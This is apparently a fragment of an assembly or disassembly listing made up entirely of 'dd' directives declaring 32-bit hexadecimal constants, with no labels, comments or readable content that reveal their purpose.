dd 64448A04h, 2AE7226Ah, 2AD951DCh, 84C1F894h, 4F105561h
dd 239F91E6h, 50D806ACh, 0D99F0441h, 0CE81891h, 0E0438697h
dd 0F0918721h, 8C911C50h, 82480749h, 4698D5Eh, 885C876Bh
dd 4699930Eh, 4640868Fh, 4E6809EFh, 823C1216h, 0F19249Ch
dd 0B212490Fh, 9EE0680h, 0F96E76h, 1E9C41Ch, 0EC9D3922h
dd 31525302h, 0A06EEE50h, 77C6B980h, 0D998001Fh, 6BE81DE9h
dd 18C5CAFDh, 0B0C0CD92h, 602C585h, 0B132DD6Ah, 46003867h
dd 3B31DE06h, 9DA02948h, 0A72F2410h, 3D072E00h, 275470CDh
dd 0E3C30039h, 0C01F58F7h, 5600DEB4h, 50DD23C1h, 53EA2BAh
dd 400C937Ah, 0E96CC0CBh, 5E4CCEE5h, 40414BE5h, 3ED932C7h
dd 504D0h, 643D08E9h, 0D645942Dh, 0C6727B00h, 3F99B884h
dd 11E70025h, 6E46DD49h, 7A00A5E9h, 0EEFA4EB1h, 1365CA43h
dd 0E047F8EBh, 0B9CC2B40h, 2D3B2059h, 0A8EB7561h, 162B3CD8h
dd 1F40FE00h, 91492F24h, 81F70388h, 93E21D8Dh, 101EB380h
dd 28BF49h, 0EB7BD535h, 19D262Fh, 0A532C047h, 0D8B1B9C8h
dd 63391BC5h, 12C98038h, 0C6F27A61h, 0A0DE1CAAh, 0CFF0F20h
dd 94A976A0h, 880AD91Ch, 18373B92h, 1042E900h, 0BBE840h
dd 0FD04C233h, 0B0CF91E4h, 6380B00h, 0ECBE7FFEh, 2A3D00EDh
dd 209A6AC5h, 0E00CC8D2h, 48936B38h, 152EA0Ch, 355FF489h
dd 984FED6Dh, 2A690508h, 36520363h, 22E96DDh, 0DF821CF0h
dd 2500C174h, 5936651h, 484CEB56h, 8F0035A5h, 5924BD12h
dd 0AC3DD7E2h, 50A8584Bh, 0C901E96Ch, 0F15F2296h, 1AE0252Ch
dd 0F8B078Fh, 0B99260E3h, 6C207E0Ch, 91267F05h, 203840DAh
dd 0FA4616h, 7D6F3D91h, 60539311h, 0B36CC092h, 0E27B1FE8h
dd 678CE606h, 6008D648h, 0DF5521A7h, 0BF00961Fh, 0BBFC6ECEh
dd 5D2ECA5h, 21E5F505h, 6F9C065Dh, 9410F946h, 1B0A4F41h
dd 8C9417EDh, 5B518E75h, 2DFB5100h, 54C07398h, 18116009h
dd 0C8C75948h, 0E408E1EAh, 18F05Fh, 3455ED93h, 80E82EAh
dd 4038A247h, 6B53FFC5h, 95960A6Ch, 1ED86A14h, 795E4ABBh
dd 81103090h, 0EB38D3DEh, 16B51DD5h, 5D0828D9h, 0D6AC2180h
dd 0C1E01BD3h, 0D830F42Ah, 9749EAF0h, 0A2085300h, 53BC3018h
dd 5F19660h, 1A77D4h, 0EEC889B7h, 53AB5EEAh, 25881800h
dd 3A7449C6h, 1E6D12B2h, 752C21EDh, 63418F9Fh, 2E003F89h
dd 9E2FF38Dh, 0CDDA1E7Eh, 0FD2ADD41h, 0B1ED3401h, 8762E9F0h
dd 0DD60F8D8h, 0A0430F85h, 0D0AA8632h, 1907A49Ch, 8AC9195h
dd 0D1218127h, 8053AA8Dh, 65F5D4h, 6EE18A0Fh, 0BC432D94h
dd 9850792Ah, 0DCBAA700h, 2369B6E0h, 5FAB006Dh, 4DC1E8F9h
dd 7700D340h, 594717Eh, 129D2C02h, 1054C7D1h, 0E523A448h
dd 94526E01h, 211877F4h, 0E662988h, 0BEACA452h, 3BCB4160h
dd 1614C14Dh, 87F09498h, 0F42056E1h, 3872E6h, 66C4BEE2h
dd 0B520D635h, 40E4E4A3h, 0DDEE62CCh, 0FB9005Ah, 0F529CA94h
dd 71D43933h, 69607B24h, 0D0ECBF59h, 0C80B0A77h, 0BE943511h
dd 1AB5EF00h, 0D052E056h, 0D7C53807h, 6C5411DDh, 0AB88AC8Eh
dd 0B0AA0BC1h, 5497C6FCh, 5C12E099h, 1533BEDBh, 0CAB15779h
dd 0EB35EDF0h, 0D149B100h, 0C1036981h, 0C66F0718h, 9DE3F56Ah
dd 8F9191F1h, 0DE1FEC83h, 228D06D9h, 0E351C3F4h, 26CEB81Fh
dd 0A290799h, 0F2EC3F6Dh, 0E0846B56h, 526760E4h, 7FF42385h
dd 26002311h, 630C525Fh, 840160CCh, 582EEC8Eh, 6CC496ACh
dd 72E7806Dh, 70321401h, 9C117ACCh, 3DEB5848h, 0EA3DF1Fh
dd 4E00AB11h, 84DB1FE6h, 8E1D02FFh, 0FB41CD1Ch, 1D391498h
dd 5258980h, 0FE4280F0h, 0F7868400h, 0AC3C8A7h, 2E7605A5h
dd 4017FB67h, 0D0C4C2B4h, 0EF003868h, 72B3A379h, 0DF1FF0FFh
dd 2FCB8021h, 0DB0B666Fh, 0E8001EF0h, 7FDD1CEh, 15AB2C9h
dd 0EB69B3A2h, 9FC8C386h, 0B88040A9h, 2291CD30h, 12D6F4A5h
dd 1DEE7EA8h, 8701A3D4h, 0BC9C69AAh, 0D4882618h, 2EAA008Eh
dd 0B4E0D7E3h, 0EB30D822h, 0C496694Bh, 6409E8A0h, 5F43185Bh
dd 20E88FC9h, 0C3DF632Ch, 0E8225052h, 627C8CE1h, 57F48810h
dd 525A2DE0h, 534AC600h, 484E498Dh, 0BCD0B1B8h, 31C05B80h
dd 71C4D26Fh, 9CC25E00h, 4EE95CF4h, 484F0F10h, 942C6369h
dd 0AC07199h, 0BDE759ABh, 199C6054h, 6F5DFB9Bh, 1E002E7Ch
dd 0BF20FC9Fh, 0EA97AC70h, 0B01B59C6h, 0A44211F8h, 105A0E23h
dd 8CFA2D20h, 0DB56F772h, 0AA8802E8h, 31949C6Ah, 8FCF1023h
dd 379A00AAh, 0F949C4AEh, 9048CB3Ch, 3DA230Ch, 9C6DAA8Bh
dd 202D628Ch, 5EAA92D0h, 0EB85F500h, 0BF144AFFh, 356B1576h
dd 0FD3EF073h, 1077F980h, 0D8CE5EEDh, 3A2F4300h, 8ECB46C6h
dd 79D312F2h, 114404Fh, 311D1AAEh, 37B0F2A0h, 0D96AE300h
dd 0CB4DAF08h, 931C04C2h, 89532297h, 497E2C8h, 2057790Bh
dd 67F2C1D8h, 538D2835h, 2170E310h, 161CB256h, 16D2CDh
dd 338BF188h, 0F47D737Fh, 2E487467h, 0C08C0680h, 1AD233CCh
dd 3EC40128h, 38615046h, 800B751Fh, 56C51A21h, 0C14A426h
dd 829346DEh, 1C99F018h, 41457A0Ch, 20A648DEh, 0C5CA1861h
dd 64398652h, 0C1F0E6h, 6F093296h, 0CC236AB5h, 8F522901h
dd 8B5A1CC5h, 56E09DE9h, 91A061E8h, 57E7E263h, 14F38198h
dd 7440EE11h, 722C4894h, 761974EAh, 442033E0h, 1C68E8E9h
dd 0F1384FAFh, 0C407DC19h, 0A6F0738Dh, 993A1500h, 0C86E9114h
dd 7D8C07DEh, 1220926Bh, 58409A64h, 0D50DF49Dh, 8F50CE4h
dd 5BEE7FCh, 6036DBEFh, 0ED9CC272h, 4C3148C2h, 6BA02054h
dd 82A8E78h, 4A44E0D3h, 48E16062h, 6B3F92DAh, 63679D06h
dd 2AF1CBE8h, 9AC104Ah, 8E6DE997h, 0ABE60400h, 6F100818h
dd 6048414h, 0A1D1EC54h, 0F3E00878h, 59745C98h, 51492B78h
dd 33C83ADCh, 0C0AB21A3h, 0C09D7548h, 0C195CE71h, 1478A36Dh
dd 890B4CB2h, 831707E2h, 6AFF08Ch, 3EE0F371h, 3D44F8C9h
dd 2E872C3h, 1138F66Ah, 18C66DEEh, 0B4DABE00h, 0AA714F95h
dd 0F9570DD8h, 8040E573h, 9B326169h, 54E95659h, 3C9A90F4h
dd 0EC306360h, 91522811h, 0FCDFF226h, 3F92021Dh, 30205013h
dd 1273923Dh, 2195966Bh, 24E19374h, 5904DB9Ch, 0C2AB6FE3h
dd 3C1CB583h, 6A0090B9h, 4F485B0Dh, 4E0EE2F3h, 0A1B4D946h
dd 0D072955Fh, 88542C20h, 0EC3FD2F3h, 0F2D38085h, 483E8DE7h
dd 0C8BB0AADh, 80C04D79h, 38D43A05h, 0DA0B5D22h, 0B5A57B8h
dd 9BB8A2F8h, 47EA0371h, 0E1885945h, 0CD11805Fh, 64E4F4D3h
dd 2916733Bh, 89D4B0E8h, 0A80629EFh, 60AC515Eh, 0FB951618h
dd 0BE9E221h, 664FD536h, 170C0C88h, 4496E8D6h, 0E9269DD0h
dd 5F0363B9h, 0D84953F3h, 4D50417h, 0BB1495C7h, 61F0C4A9h
dd 0E5D84D14h, 95304142h, 0D0F00924h, 0F018C340h, 68016093h
dd 7358D7E0h, 1ACCB29Ah, 0C4651708h, 94870345h, 910713F0h
dd 8F3C5F12h, 0CC261870h
dd 0EA631283h, 0E70422F8h, 28176862h, 145D4284h, 0E461013Ah
dd 97EC3A8Fh, 64D85982h, 0C0A0A275h, 6E844E37h, 0CC400F4Bh
dd 0A438C916h, 0AD072640h, 229612ACh, 0E718491Ch, 6ADD0985h
dd 1183574Fh, 23ED7395h, 51CA8098h, 44CBA4A5h, 212C200Ch
dd 3C0834E3h, 0BE311E41h, 36823032h, 0F852C903h, 305E1E00h
dd 0EA8A8CB5h, 0DC43FFD5h, 2C04D590h, 0FC87E56Bh, 421A74C2h
dd 790AFBDh, 218F7172h, 309D107Fh, 14B881A5h, 0E08A6FEDh
dd 4E993460h, 288002D0h, 0C8482C7Ch, 8504F4BEh, 0A3AE1D8Dh
dd 92FAACC0h, 68212CE0h, 50E904ECh, 4430905Bh, 3C909882h
dd 1C155101h, 69B29C6Fh, 44034461h, 0BD511DBFh, 317ED8F2h
dd 9918E44Fh, 10A02668h, 675D33A5h, 0D4E1D6E0h, 6188322h
dd 0CF1C2996h, 3CC31FC4h, 6218002Fh, 3A3408F9h, 0B934338Eh
dd 94064920h, 0FE304172h, 3510785Ch, 8103D15h, 18B3F1B4h
dd 970A6E5h, 0B6F06C38h, 0C879A860h, 0B9064C96h, 0E85D86h
dd 34442675h, 97CA7B7Fh, 0D979C0C0h, 288C0E36h, 0FB1410B8h
dd 0A4448108h, 5CF884DDh, 80437E88h, 0AB0098C7h, 89EE8F9Ah
dd 1E07C594h, 2E96E5A3h, 0AB70133h, 0F00EE866h, 0B000C756h
dd 52E789C6h, 0FE25096h, 0FA84B7A7h, 0A1D39860h, 7900E6F9h
dd 6FC17A5Eh, 16DFD4h, 89C52494h, 98E8618Bh, 4100BE7Eh
dd 71E03AB1h, 0ACC45Dh, 0D124F9C8h, 0AFB5E3F6h, 0C0A07C00h
dd 3C21452Dh, 0ED780699h, 308C1703h, 0A568300h, 2438D125h
dd 0FCAF00A8h, 500522E1h, 1300B3D5h, 0A3DB740Dh, 38F6AC08h
dd 83007746h, 35EC637Ch, 2600B3D9h, 2AC61D62h, 9847C8h
dd 112780EBh, 77099221h, 0D4B29407h, 43F0A61Fh, 0F02CA4h
dd 48E60DADh, 0FE3190D0h, 0A3CF3Eh, 0F29C54AAh, 4CD5B3Ah
dd 0EE7C0B52h, 9784A01Bh, 0AFA40700h, 8FC443A5h, 1A114C05h
dd 0BA00A63Ch, 0EE220C01h, 0F073EADh, 27BBF98Ah, 1C9AD200h
dd 0F4EA0029h, 934CCB32h, 0EF3F640Fh, 0E8360035h, 38FFA5F7h
dd 27A80740h, 0F51C59h, 17BEFDDDh, 0BFB55600h, 6602AB8Eh
dd 1DF20230h, 20453331h, 477ECEC0h, 3AD6CE0Eh, 92530054h
dd 0F628905h, 0BF677BAFh, 8A815C00h, 0A005407h, 13D4EDFEh
dd 1440414h, 0F90135EBh, 348A746Fh, 0D90ABE28h, 0D0594BC2h
dd 0DFBB6700h, 2156A5h, 0B355FCA0h, 700974B7h, 0F0B86A28h
dd 72064A00h, 0BCC9A758h, 19ED60FDh, 2AA16617h, 83037600h
dd 0A8B43EA3h, 0C58C07Bh, 77EF3A56h, 915CD501h, 952011F8h
dd 0F3C3EF0h, 0EE652BBCh, 0DBD1E980h, 3703CBC8h, 5C3DBA2Ah
dd 0D9610786h, 0F13ED2D3h, 0F51AC622h, 0B7A0CC43h, 40DA21CEh
dd 88015FF0h, 0FAA124BBh, 0ABDC004Ch, 0ADDE57E0h, 39B34600h
dd 582BED35h, 998F06EFh, 4092371Eh, 1CFB5A00h, 89E35DAh
dd 0B33E3B8Ah, 0CB8EB580h, 67183692h, 0D8A44C01h, 87440830h
dd 312643Ch, 0B1C6001Ch, 920BB837h, 9E9B240Fh, 0D8E00B2h
dd 0F21608h, 3E046AD9h, 74E3D71Bh, 0F90035E2h, 0DECF8E3Dh
dd 4326B6Fh, 614BA80Ch, 0D91490ADh, 0F841D24h, 31E1D14Ch
dd 1B3DA600h, 0FF007F67h, 22CFDDCh, 0FC45E9Dh, 8169ADB2h
dd 6F9F0840h, 9398699h, 12F50F19h, 0B57A037h, 3898546Ch
dd 1700C00Ah, 2B6A9D41h, 4F00905Dh, 325A8B7Dh, 20ABE155h
dd 690395F4h, 0FFF2F74h, 6DB10782h, 800E0234h, 5E65DF4Dh
dd 860D291Fh, 0C0EB390Eh, 1D942012h, 0AE37033Bh, 9289493Fh
dd 0F8BCEAD1h, 412E7A57h, 1C009306h, 0D5823ADFh, 23440090h
dd 0D678F5EDh, 96E43042h, 43CED900h, 226FF7BFh, 59C94A8h
dd 40AD0F78h, 0FA390580h, 1D00804Dh, 0AC62ED0h, 5F56427Bh
dd 0F660B0A3h, 0C75A9500h, 0CC8B4AA9h, 571003C8h, 0E61C2D4Eh
dd 5C33A880h, 0A6D95A1Ch, 3A1D2902h, 652040B7h, 0B317E6Ch
dd 8A964E97h, 82038B00h, 0CB028C2Ch, 505D9BBDh, 0BA13C02Eh
dd 0EC742E3Ah, 6ED8E88h, 540FF820h, 0EE001332h, 0A05D1EF1h
dd 576A0Ah, 0F62C7A24h, 525311Ah, 0C7350E00h, 426DA422h
dd 9B1802C8h, 1EC96878h, 0A379A450h, 5AA45C07h, 0E11FBBCAh
dd 69A55BECh, 0B9B5E0h, 97C7FD72h, 0E203CDD1h, 0A607F698h
dd 0BDBC81FCh, 91989560h, 0B77800EDh, 0FE2B5340h, 0F4EF6BB8h
dd 72009FA0h, 42985504h, 26544D89h, 80DCC722h, 0E75BD29Eh
dd 0EF00E01Ah, 76FF131Ch, 0F0934Bh, 0C95382C2h, 81F3B439h
dd 0C600FC75h, 0DA159608h, 7CF0F621h, 0E2460905h, 0C0203FF4h
dd 529BE0AFh, 15C9E48h, 55EF9672h, 0DED02ADAh, 0D6AB07B1h
dd 0F04AC6C7h, 0DCD1ECAh, 80F3253Ah, 271FE6A7h, 23599D1h
dd 0B42E418h, 2CC0232Ch, 0D30E4BDEh, 60A8CEAAh, 394D6E7Fh
dd 8F4000CFh, 0ECEF9BE3h, 250F3F75h, 0A196EAC4h, 0C2F553A8h
dd 46C7E4h, 0A7B48736h, 0C0BD4F05h, 0C8AE1B1Dh, 0E32B14h
dd 0D4648B2Eh, 24FAD7C4h, 419BCFh, 5813254Fh, 12055FD2h
dd 2A6E8F4h, 95C014h, 1CCDEC53h, 61455Bh, 0AA27C0B0h, 151271D9h
dd 0E7947E0h, 0E1AC9D00h, 756DABAEh, 80690F30h, 5D6FFAE2h
dd 86840640h, 1E015792h, 0DD61A115h, 828EA69h, 58976F00h
dd 76858670h, 0E874CA00h, 0C655A157h, 7EC512B1h, 0FD0600E9h
dd 4EE5FFC9h, 38A28A38h, 0DB07186Eh, 131DA4Eh, 928DFC45h
dd 21BA42D8h, 440CF40Ch, 0CD940E50h, 0DE64C700h, 4E6CE7A2h
dd 0F487501Fh, 0AADB0098h, 4C756A69h, 9D2C0F92h, 0D80AB383h
dd 22059CA0h, 0F4004DFFh, 11CC2A96h, 3AE80126h, 0A763732h
dd 804ED9D1h, 154A5920h, 1DE47A17h, 44F82430h, 0A008F642h
dd 93132178h, 0D800B4D5h, 3ACFBE0Eh, 0DFFC0140h, 944B119Fh
dd 2F582057h, 9C01C679h, 8B716BFBh, 5AF1C179h, 69749850h
dd 9028904Fh, 344000A9h, 80313C2Dh, 0F80F9ED6h, 0E24E7D15h
dd 5A2E2F7Eh, 9C370034h, 29B0F2E5h, 9200C57Fh, 0AC633471h
dd 2A0BBCCh, 58266B05h, 0C8E091ABh, 0DA03740Ch, 888DA2C4h
dd 0DBACD8B1h, 87A601C1h, 9E0AC386h, 9C0760D8h, 5349DE0Ch
dd 3AE0A16Bh, 74808F4Fh, 0D5E26D07h, 52F5484Bh, 54005310h
dd 39C6D08h, 4171077Ch, 99D96BC3h, 7EE3F264h, 8FA63EA0h
dd 486D3617h, 0BDAACD00h, 0E9E5B91Bh, 0AF95A841h, 0E868DEFCh
dd 0E9E9C016h, 9A03F490h, 1A739D1Fh, 0CFEA8D07h, 0AF70D841h
dd 944C908Ah, 6D150C18h, 48C1EC99h, 0B53833EEh, 0A8DFDCh
dd 3D51798Fh, 0F3428C0Eh, 31ED4812h, 0E532CC00h, 0D71DC9h
dd 225963E8h, 97D46B5Fh, 58750D12h, 7398A0h, 0B507BC9Ah
dd 1C3FAF0Fh, 138D0E1Dh, 0AADD6402h, 71D0A00Bh, 0E465969Ah
dd 0EB1538C3h, 0E864177Ch, 0CA7447A1h, 166FF108h, 8FB98025h
dd 0D01C143Ah, 5DF33E64h, 0BAAC7804h, 5A4A88Ah, 9BA9BE2Eh
dd 0BBAAB800h, 4EE963D9h, 0F02C06D6h, 6000879h, 908066C9h
dd 0EF0C3812h, 0CFD146Ch, 0AB4BF004h, 42CF2848h, 7E225890h
dd 92E62241h, 223BC122h, 7225627Dh, 9CFB1404h, 46898548h
dd 0FD0CA0D0h, 0F6CA24Fh, 6DBAB4E1h, 56A08900h, 0F5E2ABE2h
dd 0D03B7F8h, 0E89AF167h, 2A1F845h, 9304167Ah, 444600D9h
dd 0BCCA3F57h, 0E9001898h, 272ABB4h, 1F1530h, 0C1076162h
dd 0B3431BFDh, 5E4CDC90h, 7FB90164h, 554A140Eh, 3AFC1880h
dd 32F878DAh, 43D26E05h, 0DCE09E12h, 1C11EE27h, 669576D7h
dd 3A154000h, 78389F46h, 0D2FB80C3h, 4DA22155h, 1CA037Fh
dd 0F7C72A5Fh
dd 0D70CC0D4h, 3000DD32h, 0EE4E59D0h, 10A6A1Dh, 0AA31A876h
dd 683CB3F4h, 783203B0h, 0CFBE85BBh, 21E67F70h, 3C18996Ah
dd 4BA4869Ch, 64ACBD6Bh, 2EB01B19h, 8C0F4CE2h, 20037098h
dd 87D7E67Eh, 541E07CBh, 0F73A5D96h, 0C06654CFh, 425125FBh
dd 78EE591Ch, 318048F7h, 6E0458h, 144AE27Eh, 0D8C44664h
dd 0B12F0201h, 0EFCBA027h, 7CA2074h, 981AF46Ch, 0E8925095h
dd 0A51EC219h, 0B4C0F58Ah, 334B710Dh, 348601E9h, 5EEE6255h
dd 9778D4E1h, 0E7FE2D00h, 4C717DD7h, 41A439C4h, 8EB5318Fh
dd 78C5C843h, 9C7C2CA8h, 0F0286E60h, 12B1EB8h, 0CF4D1B72h
dd 40EBF9D3h, 6183E7E4h, 705458h, 64D675DDh, 805082h, 0AFBD17EEh
dd 0CDE97124h, 88744505h, 287B29Bh, 889D7063h, 2DCC8C3Dh
dd 0F800FD7Dh, 46D06CD3h, 0B3C33001h, 0F2F55562h, 0D81EFC55h
dd 0FFE7DE80h, 0EAA3A7h, 6EF9F87Dh, 5543696Ch, 5F56FCA0h
dd 172D2800h, 37AD09E1h, 92DEFE66h, 0C8E07Ch, 0C07784EBh
dd 387CDCA7h, 70EDA500h, 32585AA9h, 0D0161799h, 0E9E4C018h
dd 7E38B0F4h, 5D51008Eh, 81B1EDEFh, 0CFE08Dh, 0AADFE560h
dd 0BAEB058Ch, 90A96C00h, 0BD9E13A0h, 0C03B0FB7h, 0A1070993h
dd 0D6917068h, 6013DFBh, 5E9C9BD3h, 6C28E82Ch, 0AA401700h
dd 0F4165729h, 79000C9Ch, 0AFEAA943h, 0B1DC03C2h, 0E7EE5F24h
dd 0C990D1A0h, 408C8A51h, 0FDDCE23Eh, 2EE3061Dh, 0BA9BD003h
dd 0E0287CE8h, 3CAF008Bh, 0EA793E7Dh, 0DD0B3142h, 0D3340Bh
dd 178F85F0h, 4C150029h, 58195637h, 0BE005901h, 0FCC9882Bh
dd 19C3882h, 0ECEB922Fh, 0C4536964h, 1C1FA6C6h, 0E3004067h
dd 0DE5038FAh, 3D66F49Ah, 0C88FFE34h, 4F2CB9Ch, 0B0F9043Fh
dd 7707679Ch, 73787F53h, 0B0585F13h, 0F0758246h, 5E511C69h
dd 0D7D8154h, 30A95A61h, 0C0014F30h, 98B8AC8Ah, 0D0F3C264h
dd 339F83h, 0E61C885h, 7035F7E8h, 6C665326h, 623D0281h
dd 20259FB6h, 4A3CE0h, 0F4B1BF60h, 28B5363Eh, 660165ECh
dd 0E75AD2A0h, 88F80AB3h, 6C73005Fh, 0CAC6827Ch, 0B700644Dh
dd 8A2A063h, 0EC030159h, 65C238ACh, 1F771EFAh, 0EE7E09A6h
dd 82688B81h, 0F4B4D939h, 0BF00B554h, 0CFA37AFEh, 0E301F7Dh
dd 0EEA595DDh, 548E91E0h, 90255CF9h, 40D80FF0h, 0B599E3A4h
dd 137100AFh, 0DF857C56h, 0AA00AB65h, 819398CCh, 406286h
dd 9B344642h, 0F930573Bh, 1C442C1Dh, 37E7D680h, 73632Fh
dd 0C4F0B4B6h, 0D8F1A53Fh, 0C0ADE500h, 879095C9h, 6FEA0004h
dd 5E2A1AFDh, 6C3B9362h, 0E0788141h, 0C5257516h, 79FB8ED0h
dd 0EAD600D9h, 0D5996612h, 13000719h, 0EF92BB20h, 238276h
dd 5E52BE7Bh, 7F750B5Ah, 0E0369E07h, 7285F7E4h, 8011821Bh
dd 0A57E9h, 3341EACDh, 3A7AE4Ah, 71CDA03h, 0C8CAB2D4h
dd 9DFC6Eh, 70B43378h, 0B7C3AFA0h, 0E5C96C00h, 0ABCEFACFh
dd 6A741CACh, 6EF88036h, 0EED449F3h, 0C21CA172h, 0DC40A92Ch
dd 0BB43DFCEh, 45F00CFh, 710BFE4Dh, 2600E667h, 6A05483Fh
dd 11FF098h, 40FFDC06h, 64213BD7h, 1C0031D0h, 0AA2F6668h
dd 9829A8DDh, 28535CFCh, 2862C980h, 0C4035E9Fh, 1B194BFDh
dd 0CADA80BCh, 0BD23043Bh, 0E4A3A0EDh, 8B24F004h, 0F30134B2h
dd 0EFD037CBh, 1D11EAF4h, 4751BA4h, 0AAF96C4Dh, 0ACA3E4C0h
dd 0FBDC0124h, 8944BE1Fh, 59852BB0h, 0BF1C93h, 0B567625Ch
dd 527D7CC1h, 4EAED91Eh, 6F7ACB00h, 1B1E051h, 0FE6DAFE6h
dd 0E6619D88h, 0FA48F4C0h, 3C8FBF00h, 0BB09F33h, 0FEE10059h
dd 997A5E83h, 674C8C77h, 0B45FC0C8h, 13DFEAE7h, 580BF4h
dd 22AE20B8h, 0E500FCA0h, 0C1250C24h, 0F1A4F9h, 9A642B29h
dd 0DC74E6D4h, 0FB916900h, 7A169822h, 3B4118EBh, 96D2E0ADh
dd 0A7DFB810h, 12457026h, 0CF048162h, 7E852F30h, 4B2D7500h
dd 78DE0B1Fh, 2B2E01DFh, 0E10E2245h, 0F3ED077h, 0F44EF900h
dd 0D91BDA70h, 3F2E004Ah, 20D1830Bh, 6F19095Ch, 49E0786Dh
dd 1EDE2160h, 1C089516h, 0B4F5D388h, 6300F24Ch, 0DF091BCEh
dd 3CB75Ch, 0DD882083h, 0D7E8BF6Bh, 8700FD7Dh, 3AEB44E5h
dd 4E984D49h, 867C40D9h, 272E9D47h, 3AF5ED00h, 37924E87h
dd 4CB019h, 90D64A06h, 0BE72544h, 0D4813C00h, 0E564AE99h
dd 94EC7791h, 418F80B4h, 8B3E0E68h, 9C58DF07h, 0A9BD6940h
dd 0E7CD7ACDh, 3A9536E0h, 9A3AB7F4h, 29911275h, 0EB308068h
dd 0EC0016FCh, 0D5EEB510h, 4AFAAF70h, 0E8F48467h, 0D0007828h
dd 87F427E5h, 91EA76h, 94BE4A2Fh, 9502EC67h, 0A793D3Dh
dd 0EDE31199h, 4A080939h, 8F506856h, 7A78FCD9h, 31AD81D5h
dd 63299EE9h, 0D4ED420Fh, 2291146Ch, 9FE71950h, 211AF2C0h
dd 7C3580D4h, 4B338DBDh, 3ECA9A00h, 6014A3D8h, 5A1A0FA9h
dd 38782B38h, 4A0089F2h, 53CDE9Bh, 1E21035Bh, 0C0B70E81h
dd 0BFC066BCh, 0B5FC771Dh, 6C547E00h, 0DA29E1E4h, 7C79A3h
dd 606D7507h, 1DDCD52Dh, 7B1ECFE4h, 0BE582252h, 24A630h
dd 62BC4FA5h, 2BB7052Fh, 0F57D570Fh, 5921A068h, 3130E11h
dd 1F1A3EEFh, 0C0F835E3h, 5200AB2Eh, 0C2F1B657h, 3C8674Fh
dd 35F4C645h, 4BB03D10h, 63050E1Ah, 3F18FE78h, 0F0116AC0h
dd 0AFBF0027h, 4554B7E3h, 7CF0F3A6h, 75C46700h, 422804DAh
dd 3D4C746Ch, 78001E14h, 1248392Ch, 0BE07279Ch, 0B0BC2FF0h
dd 50B26024h, 0F2F4A5E4h, 13D60497h, 2686B36h, 0EAFAD468h
dd 9C00A056h, 0FB068075h, 60E2484Eh, 0B0E83609h, 32D46C03h
dd 82229B6h, 0E3E42276h, 22B1FC22h, 0F450ED67h, 0E0457628h
dd 951482D2h, 84D02FECh, 3444DE09h, 0F02D44B2h, 5F784C44h
dd 3821CA11h, 0BDF62A08h, 0C7201142h, 5C080C21h, 642494FAh
dd 28CFD711h, 0C8107870h, 10215001h, 88FCC208h, 3894BB84h
dd 3C7C2814h, 93A07A00h, 6B31D24Bh, 0A5C400D0h, 13E85EF8h
dd 1103F7AAh, 9165C019h, 3D2921A1h, 915B3E08h, 0A0C6000Bh
dd 0D4B86775h, 58870355h, 0B96482A9h, 52985FC3h, 9D3E8BB6h
dd 0B16F0021h, 0C999C0A2h, 0D0AD00C5h, 0AEC76BE1h, 0A801CAFEh
dd 6628A735h, 42CCDFE6h, 1FF23A9Ah, 0EA5BCC05h, 0D2508045h
dd 5300DB18h, 0A4C37019h, 77B14B50h, 0F30D000Bh, 221A6163h
dd 0EF004CD8h, 5CD152ECh, 98E41E4Fh, 0B97E0042h, 54A73840h
dd 0F700A196h, 1D7D500Ah, 0D9CF26h, 97290216h, 5DCCA707h
dd 5E79907h, 32F06882h, 0C580B9h, 0C244B536h, 668D7533h
dd 0C0625E00h, 11965B6Dh, 0F949C31Dh, 9CD06C29h, 4E006EE8h
dd 4C72D24h, 0EED53F59h, 0DF9071Ch, 0A025A583h, 0A22681A1h
dd 80B03E60h, 0CE0A19h, 0FE6C95BFh, 0AC627925h, 0BC09967h
dd 0FDE9A843h, 6518BC3h, 0F7FA54A0h, 40360418h, 61C8D5h
dd 469507DBh, 0E8B6A37Dh, 4E696003h, 0F813EF62h, 3CBC96B3h
dd 5B03983Dh, 0D829C682h, 0F9EB9EE8h, 942E4902h, 802238E7h
dd 92841495h, 3DDE7579h, 8C80A07Bh, 0E559E49Bh, 231DBFEAh
dd 0CD80B584h, 0D6991B0Eh, 0B2670061h, 36B395B4h, 0EC00C03Dh
dd 3C4A760Fh, 0BE29963h, 4F38E06h, 0BD60D100h, 0C700B40Eh
dd 2FF56C4Bh, 4FCBE1h, 637FCA89h, 965ABCBAh, 7642D501h
dd 3373B830h, 0AB4BE887h, 95E06E58h, 0BA51487Ah, 2C28231Eh
dd 7B5B4000h, 7C352EB9h, 4F5E00B4h, 6E2A0607h, 5500E660h
dd 1923C64h, 0F35D8Bh, 0A59CFCD0h, 812C3B1Dh, 75513400h
dd 8F870453h
dd 0C9E3007Eh, 3260F20Dh, 151DBC16h, 0B1C3CE9Ah, 5F0AA9h
dd 1D74DE40h, 37C16514h, 0D01E60Ah, 2800A898h, 721AE232h
dd 669886h, 0BE9A4D70h, 0AD83676Ah, 0F4F8962Ah, 75A9ED00h
dd 0D3702F8Ch, 0E1D90034h, 0C9593972h, 0C024F238h, 554000FDh
dd 4BFFBh, 50C5A978h, 34ED97D2h, 16846E1Fh, 45E75A43h
dd 0F348B0DAh, 62C01D4h, 7718C9F4h, 1B9A4243h, 919A1C40h
dd 0E4682B88h, 5E0C00F6h, 6BFAFF86h, 1A0112E6h, 337BC01Eh
dd 80EF2B6Eh, 0D4F7B3h, 7AEBF920h, 5ACA11F0h, 0E0C73C14h
dd 3B6008Ch, 813542A2h, 8C52005Fh, 638007CDh, 343FC4BCh
dd 0BED0813Ch, 0D7A86F8Bh, 7281AC0h, 788A3931h, 2CED02ADh
dd 210711E0h, 0AEAC1200h, 93846BE0h, 8ABC001Dh, 69565822h
dd 2C90F8DFh, 57593F00h, 3EF6922Bh, 801724ADh, 0C397076Dh
dd 0D46BD1F4h, 0BA33201Ch, 0CA738F02h, 41FC5CACh, 32308C2Ch
dd 84305087h, 1C671C9Fh, 3E51C05Fh, 17769585h, 4970743Ch
dd 0E2751D08h, 1213E8DFh, 0FEB99700h, 0AA63B1h, 0C67F9809h
dd 0A7A0BEF5h, 0D1588404h, 2C811B59h, 38E6E8BDh, 78989F67h
dd 1452D213h, 10A1AA00h, 50B155h, 6C5648C0h, 0CBB2C52Dh
dd 0EEAD8200h, 0BC6A1B17h, 618E00D4h, 46BFC453h, 21395D79h
dd 0C2F4016Eh, 0F9880BD8h, 63DC1831h, 1BD0096h, 57FDB0A9h
dd 41009B2Fh, 981B6C86h, 71FECB8h, 0CE27A25Dh, 0A8D4F03Ch
dd 991E0571h, 315415DAh, 0F413008Ch, 0DE1AFA60h, 39100982h
